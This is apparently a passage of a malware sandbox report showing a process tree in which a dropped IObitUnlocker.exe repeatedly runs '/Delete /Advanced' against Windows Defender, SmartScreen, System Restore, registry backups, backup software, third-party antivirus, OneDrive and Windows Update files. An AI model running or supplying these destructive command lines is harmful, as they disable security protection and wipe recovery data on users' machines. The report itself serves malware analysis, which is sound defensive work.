Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:2120
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Loads dropped DLL
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:5376
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files 